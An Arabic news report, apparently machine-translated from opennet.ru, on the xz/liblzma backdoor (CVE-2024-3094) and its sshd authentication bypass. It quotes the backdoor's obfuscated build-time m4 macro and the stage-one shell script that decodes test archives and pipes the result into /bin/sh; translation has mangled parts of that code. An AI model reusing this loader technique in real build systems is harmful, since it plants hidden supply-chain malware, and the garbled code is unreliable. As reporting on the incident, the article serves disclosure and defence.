تم اكتشاف باب خلفي في مكتبة xz/liblzma يسمح بالدخول عبر sshd

في حزمة XZ Utils، التي تتضمن مكتبة liblzma وأدوات مساعدة للعمل مع البيانات المضغوطة بتنسيق ".xz"، تم تحديد باب خلفي (CVE-2024-3094) يسمح باعتراض وتعديل البيانات التي تتم معالجتها بواسطة التطبيقات المرتبطة مع مكتبة liblzma. الهدف الرئيسي للباب الخلفي هو خادم OpenSSH، والذي يتم تضمينه في بعض التوزيعات مع مكتبة libsystemd، والتي تستخدم بدورها liblzma. يسمح ربط sshd بمكتبة ضعيفة للمهاجمين بالوصول إلى خادم SSH دون مصادقة.

كان الباب الخلفي موجودًا في الإصدارات الرسمية 5.6.0 و5.6.1، التي تم نشرها في 24 فبراير و9 مارس، والتي تمكنت من الوصول إلى بعض التوزيعات والمستودعات، على سبيل المثال، Gentoo وArch Linux وDebian sid/unstable وFedora Rawhide و 40-beta، openSUSE Factory وtumbleweed، LibreELEC، Alpine edge، Solus، NixOS غير مستقر، OpenIndiana، OpenMandriva roll، pkgsrc current، Slackware current، اختبار Manjaro. يُنصح كافة مستخدمي الإصدارين xz 5.6.0 و5.6.1 بالعودة بشكل عاجل إلى الإصدار 5.4.6.

من بين العوامل التي تخفف المشكلة، يمكن ملاحظة أن إصدار liblzma ذو الباب الخلفي لم يتمكن من أن يصبح جزءًا من الإصدارات المستقرة للتوزيعات الكبيرة، ولكنه أثر على openSUSE Tumbleweed وFedora 40-beta. استخدم Arch Linux وGentoo إصدارًا ضعيفًا من zx، لكنهما ليسا عرضة للهجوم لأنهما لا يطبقان تصحيح systemd-notify على opensh، مما يتسبب في ربط sshd بـ liblzma. يؤثر الباب الخلفي فقط على أنظمة x86_64 المستندة إلى Linux kernel ومكتبة Glibc C.

تم إخفاء رمز تنشيط الباب الخلفي في وحدات ماكرو m4 من ملف build-to-host.m4 الذي تستخدمه مجموعة أدوات التشغيل التلقائي عند الإنشاء. أثناء التجميع، أثناء تنفيذ العمليات المبهمة المعقدة المستندة إلى الأرشيفات (bad-3-corrupt_lzma2.xz، good-large_compressed.lzma)، المستخدمة لاختبار صحة العملية، تم إنشاء ملف كائن به تعليمات برمجية ضارة، والذي تم تضمينه في مكتبة liblzma وغيرت منطق التشغيل لبعض وظائفها. تم تضمين وحدات الماكرو m4 التي تقوم بتنشيط الباب الخلفي في كرات القطران الخاصة بالإصدار، ولكنها لم تكن موجودة في مستودع Git. وفي الوقت نفسه، كانت أرشيفات الاختبارات الضارة موجودة في المستودع، أي. كان لدى الشخص الذي قام بتنفيذ الباب الخلفي حق الوصول إلى كل من المستودع وعمليات إنشاء الإصدار.

عند استخدام liblzma في التطبيقات، يمكن استخدام تغييرات ضارة لاعتراض البيانات أو تعديلها، أو التأثير على تشغيل sshd. وعلى وجه الخصوص، انتحلت التعليمات البرمجية الضارة وظيفة RSA_public_decrypt لتجاوز عملية مصادقة sshd. يتضمن الباب الخلفي حماية من الاكتشاف ولم يظهر عند تعيين متغيرات البيئة LANG وTERM (أي عند تشغيل العملية في الجهاز) ولم يتم تعيين متغيرات البيئة LD_DEBUG وLD_PROFILE، وتم تنشيطه أيضًا فقط عند تنفيذ الأمر /usr/sbin/sshd الملف القابل للتنفيذ . كان لدى الباب الخلفي أيضًا وسيلة لاكتشاف التنفيذ في بيئات تصحيح الأخطاء.

على وجه الخصوص، استخدم الملف m4/build-to-host.m4 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | تقييم $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

في البناء الأول، عثرت عملية grep على الملف test/files/bad-3-corrupt_lzma2.xz، والذي، عند فك ضغطه، قام بإنشاء البرنامج النصي: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 [ ! $(uname) = "Linux" ] && خروج 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fiexport i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F خام —lzma1 -dc|/bin/sh ####World####

لم يتم بعد توضيح كيفية تمكن المهاجمين من الوصول إلى البنية التحتية لمشروع xz. كما أنه ليس من الواضح حتى الآن عدد المستخدمين والمشاريع التي تم اختراقها نتيجة الباب الخلفي. المؤلف المزعوم للباب الخلفي (JiaT75 - Jia Tan)، الذي نشر أرشيفات تحتوي على تعليمات برمجية ضارة في المستودع، تراسل مع مطوري Fedora وأرسل طلبات سحب إلى Debian تتعلق بنقل التوزيعات إلى فرع xz 5.6.0، ولم يفعل ذلك يثير الشكوك، فمنذ مشاركته في xz تم تطويره خلال العامين الماضيين وهو المطور الثاني من حيث عدد التغييرات التي تم إجراؤها. بالإضافة إلى مشروع xz، شارك المؤلف المزعوم للباب الخلفي أيضًا في تطوير حزمتي xz-java وxz-embedded. علاوة على ذلك، تم تضمين Jia Tan قبل بضعة أيام في عدد المشرفين على مشروع XZ Embedded المستخدم في Linux kernel.

تم اكتشاف التغيير الخبيث بعد تحليل الاستهلاك الزائد لوحدة المعالجة المركزية والأخطاء الناتجة عن valgrind عند الاتصال عبر ssh بالأنظمة المستندة إلى Debian sid. من الجدير بالذكر أن إصدار xz 5.6.1 تضمن تغييرات أعدها المؤلف المزعوم للباب الخلفي ردًا على الشكاوى المتعلقة بتباطؤ sshd والأعطال التي نشأت بعد الترقية إلى إصدار zx 5.6.0 مع الباب الخلفي. بالإضافة إلى ذلك، أجرى جيا تان في العام الماضي تغييرات غير متوافقة مع وضع الفحص "-fsanitize=address"، مما أدى إلى تعطيله أثناء اختبار الضبابية.

المصدر: opennet.ru

إضافة تعليق